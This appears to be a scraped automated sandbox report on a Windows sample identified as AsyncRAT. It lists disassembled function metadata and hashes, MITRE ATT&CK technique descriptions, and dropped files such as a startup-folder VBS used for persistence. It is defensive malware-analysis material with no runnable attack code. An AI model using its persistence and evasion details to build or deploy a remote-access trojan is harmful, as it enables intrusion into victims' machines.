Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}N
API String ID: 2932060187-3144339906
Opcode ID: 0f4c647d8e20e7535b84ad809df390941b7fd4e83684d1975135b24033d67448
Instruction ID: 0d65bf68f8bf063ed6aed938753a6c6a4516173e0f1b0e78834a1493c0181d1c
Opcode Fuzzy Hash: 0f4c647d8e20e7535b84ad809df390941b7fd4e83684d1975135b24033d67448
Instruction Fuzzy Hash: 9C11FEB19007089FC710EF9AD8C489BF7F8FF18314B50862FE58A97611D775AA49CB94

Function 00494F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00494F46
_wcscmp.LIBCMT ref: 00494F58

Strings

#32770, xrefs: 00494F52

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 85abd6fcf0a461ff045ff7c2ae55f24fe335122da948ee2d1666548b439ac6ba
Instruction ID: 44387a7d758c3264ec622efcab41a87c00c277669179181dd4605749715c5b15
Opcode Fuzzy Hash: 85abd6fcf0a461ff045ff7c2ae55f24fe335122da948ee2d1666548b439ac6ba
Instruction Fuzzy Hash: A4E02B3250022C37D7109A59AC05FA7F7ACDB44B61F00006BFC04D2041D9609A0587D4

Function 0046B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0046B314: _memset.LIBCMT ref: 0046B321

Part of subcall function 00450940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0046B2F0,?,?,?,0043100A), ref: 00450945

IsDebuggerPresent.KERNEL32(?,?,?,0043100A), ref: 0046B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0043100A), ref: 0046B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0046B2FE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 9e3dea6128a92d49b0573efd6c6a2f3e5d9cc92ced928cc3e840fb6f353937e5
Instruction ID: 3890f5a22ad3d3ee27d1d14132c95837abdd7a8851f6d0b0af0251468cc490d5
Opcode Fuzzy Hash: 9e3dea6128a92d49b0573efd6c6a2f3e5d9cc92ced928cc3e840fb6f353937e5
Instruction Fuzzy Hash: 99E06D702007008BD7209F29E9043467BE4EF04308F008A7FE846C7341E7B8D488CBAA

Function 00487C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00487C82

Part of subcall function 00453358: _doexit.LIBCMT ref: 00453362

Strings

Error allocating memory., xrefs: 00487C7B
AutoIt, xrefs: 00487C76

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 7d3f89fbec6095bd0ea8eccb5519b608be17ba8e51abda20fca7507cb941e6a9
Instruction ID: a885d4eec8b380295b94f6eb7b850c34cb42d270d9e7439c2efddc1ecffbda6a
Opcode Fuzzy Hash: 7d3f89fbec6095bd0ea8eccb5519b608be17ba8e51abda20fca7507cb941e6a9
Instruction Fuzzy Hash: 5DD0123638435836D11536A66C07FCA76484B05B57F24042BFF08595D349D9958552AD

Function 00471935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00471775

Part of subcall function 004ABFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0047195E,?), ref: 004ABFFE
Part of subcall function 004ABFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 004AC010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0047196D

Strings

WIN_XPe, xrefs: 00471788

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: c59efba94aee473e82419ebdfb4e8259092d574c20b2653d0f325f65c657f8b2
Instruction ID: f720cd1170433683870a1732567ca8b07221a6d9f4672d56c8dc4c8784964812
Opcode Fuzzy Hash: c59efba94aee473e82419ebdfb4e8259092d574c20b2653d0f325f65c657f8b2
Instruction Fuzzy Hash: 1BF06D70800008DFCB19DBA9CD84BECBBF8BB18300F5440A6E00AB21A0C7384F86CF69

Function 004B5964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004B596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 004B5981

Part of subcall function 00495244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 004952BC

Strings

Shell_TrayWnd, xrefs: 004B5967

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 403bb92a008d0a202e41cbc142a891abf4ab4a50418faeb9e98c317189773568
Instruction ID: 80dad7ed3e4a9ae142dda815327e331912c758405f682364ca3aa8149d900a42
Opcode Fuzzy Hash: 403bb92a008d0a202e41cbc142a891abf4ab4a50418faeb9e98c317189773568
Instruction Fuzzy Hash: D3D0A931380300B7EA64AB309C0BFA22A10AB00B00F10093AB20DAA0D0C8E49800CB68

Function 004B5998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004B59AE
PostMessageW.USER32(00000000), ref: 004B59B5

Part of subcall function 00495244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 004952BC

Strings

Shell_TrayWnd, xrefs: 004B59A7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 62c59be4e5d2e95fd8567e3bc2fb720b1f2178e56eda63641b668ebc025373e7
Instruction ID: c18fb7a50edf298c607add2f3e5e688371f20f9b6fa14ba6b49af372ffc852ae
Opcode Fuzzy Hash: 62c59be4e5d2e95fd8567e3bc2fb720b1f2178e56eda63641b668ebc025373e7
Instruction Fuzzy Hash: 43D0C9317807117BEA64AB759C0BF966A14AB14B55F10093AB649AA1D1C9E4A804CB6C

Function 0043363C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(0001044F), ref: 00433646

Strings

P@, xrefs: 0043364C
RO, xrefs: 00433656

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: DestroyIcon
String ID: P@$RO
API String ID: 1234817797-4139288655
Opcode ID: d76864e7080d552f08f0fc666a40888ddc084c9ce7ece3c44f89fbe4d00a0d6b
Instruction ID: c68cdefdc7e98b755eb04d22cd41da75e14e62a9627e1f04935f347ea6f3edb2
Opcode Fuzzy Hash: d76864e7080d552f08f0fc666a40888ddc084c9ce7ece3c44f89fbe4d00a0d6b
Instruction Fuzzy Hash: 72C012F0300E48D746146765581923625559E88315B1257BB675A8F391CE1C88018A1D

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report egpTyFpA8v.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Temp\aut20EF.tmp

C:\Users\user\AppData\Local\Temp\aut244A.tmp

C:\Users\user\AppData\Local\Temp\aut4EF4.tmp

C:\Users\user\AppData\Local\Temp\endochylous

C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
egpTyFpA8v.exe

Function 00433B3A Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 153
windowCOMMON

Function 004349A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00434E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00499155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00433015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00433041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00433766 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 267
COMMON

Function 0043708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00433633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 00433A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 0043F76F Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 168
comCOMMON

Function 00EEA518 Relevance: 10.7, APIs: 7, Instructions: 151
fileCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre